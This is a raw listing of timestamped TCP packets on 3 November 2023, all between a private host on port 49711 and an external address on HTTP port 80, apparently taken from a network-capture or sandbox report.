Nov 3, 2023 18:53:42.007220030 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.007235050 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.007652998 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.007703066 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.007707119 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.007745981 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.007848978 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.007900000 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.007920980 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.007951021 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.007965088 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.007987976 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.007994890 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.008030891 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.008069992 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.008085966 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.008121014 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.008128881 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.008138895 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.008166075 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.008167028 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.008213043 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.008228064 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.008245945 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.008275032 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.008275032 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.008275032 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.008275032 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.008294106 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.173108101 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.173127890 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.173141956 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.173188925 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.173219919 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.173255920 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.173270941 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.173296928 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.173352003 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.173352003 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.173352003 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.173372030 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.173403978 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.173407078 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.173407078 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.173407078 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.173418999 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.173445940 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.173455954 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.173480988 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.173481941 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.173521996 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.173530102 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.173554897 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.173576117 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.173579931 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.173593044 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.173612118 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.173630953 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.173645020 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.173657894 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.173671961 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.173685074 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.173697948 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.173711061 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.173723936 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.173729897 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.173753023 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.173753977 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.173770905 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.173795938 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.173803091 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.173830986 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.173839092 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.173841953 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.173852921 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.173866987 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.173880100 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.173906088 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.173914909 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.173934937 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.173945904 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.173954010 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.173976898 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.173995018 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.174025059 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.174037933 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.174062967 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.174077034 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.174079895 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.174099922 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.174118996 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.174129009 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.174144983 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.174159050 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.174170971 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.174185038 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.174192905 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.174209118 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.174225092 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.174237967 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.174245119 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.174252987 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.174261093 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.174268007 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.174268961 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.174280882 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.174297094 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.174320936 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.203687906 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.371175051 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.371213913 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.371257067 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.371284008 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.371460915 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.371524096 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.371550083 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.371572018 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.371591091 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.371597052 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.371623039 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.371634007 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.371644974 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.371671915 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.371692896 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.371709108 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.371745110 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.371795893 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.371799946 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.371865034 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.371902943 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.371920109 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.371921062 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.371987104 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.371995926 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.372065067 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.372077942 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.372082949 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.372082949 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.372093916 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.372109890 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.372124910 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.372139931 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.372154951 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.372175932 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.372215033 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.372231007 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.372247934 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.372272968 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.372282028 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.372297049 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.372297049 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.372315884 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.372319937 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.372340918 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.372354031 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.372365952 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.372370958 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.372385979 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.372396946 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.372404099 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.372421980 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.372454882 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.372454882 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.372482061 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.372498035 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.372510910 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.372523069 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.372526884 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.372544050 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.372545004 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.372567892 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.372575045 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.372587919 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.372587919 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.372620106 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.372637987 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.372653008 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.372664928 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.372687101 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.372688055 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.372704029 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.372713089 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.372719049 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.372736931 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.372764111 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.372773886 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.372788906 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.372791052 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.372805119 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.372818947 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.372821093 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.372845888 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.372848988 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.372872114 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.372879028 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.372895956 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.372921944 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.372941017 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.372967958 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.372991085 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.373003960 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.373008966 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.373033047 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.373054028 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.373080015 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.373081923 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.373096943 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.373111010 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.373128891 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.373147964 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.373157978 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.373186111 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.373199940 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.373212099 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.373235941 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.373249054 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.373265982 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.373267889 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.373281002 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.373301983 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.373311043 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.373332024 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.373346090 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.373372078 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.373400927 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.373404026 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.373416901 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.373423100 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.373445034 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.373446941 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.373461008 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.373472929 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.373492002 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.373498917 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.373507977 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.373513937 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.373527050 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.373541117 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.373552084 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.373552084 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.373558044 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.373584032 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.373585939 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.373601913 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.373614073 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.373631001 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.373641014 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.373667002 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.373687983 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.373719931 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.373733997 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.373769045 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.373795986 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.373796940 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.373812914 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.373827934 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.373845100 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.373867035 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.373869896 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.373883009 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.373897076 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.373912096 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.373915911 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.373928070 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.373946905 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.373972893 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.373995066 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.374042034 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.374078035 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.374094009 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.374095917 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.374109983 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.374120951 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.374138117 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.374139071 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.374156952 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.374162912 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.374176979 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.374183893 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.374193907 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.374203920 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.374222040 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.374233007 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.374238968 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.374253035 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.374267101 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.374279976 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.374283075 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.374300957 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.374311924 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.374335051 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.374358892 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.374361038 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.374377012 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.374388933 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.374403954 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.374424934 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.374439001 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.374454975 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.374469995 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.374481916 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.374495983 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.374499083 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.374511003 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.374514103 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.374526024 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.374540091 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.374540091 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.374556065 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.374563932 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.374571085 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.374588013 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.374609947 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.374619961 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.374634027 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.374645948 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.374660969 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.374665022 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.374691010 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.374713898 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.374721050 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.374736071 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.374749899 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.374767065 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.374777079 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.374787092 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.374802113 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.374818087 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.374821901 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.374865055 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.374917030 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.374960899 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.374978065 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.375021935 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.538094044 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.538137913 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.538162947 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.538187027 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:42.538225889 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:42.538275957 CET	49711	80	192.168.2.10	103.83.194.50
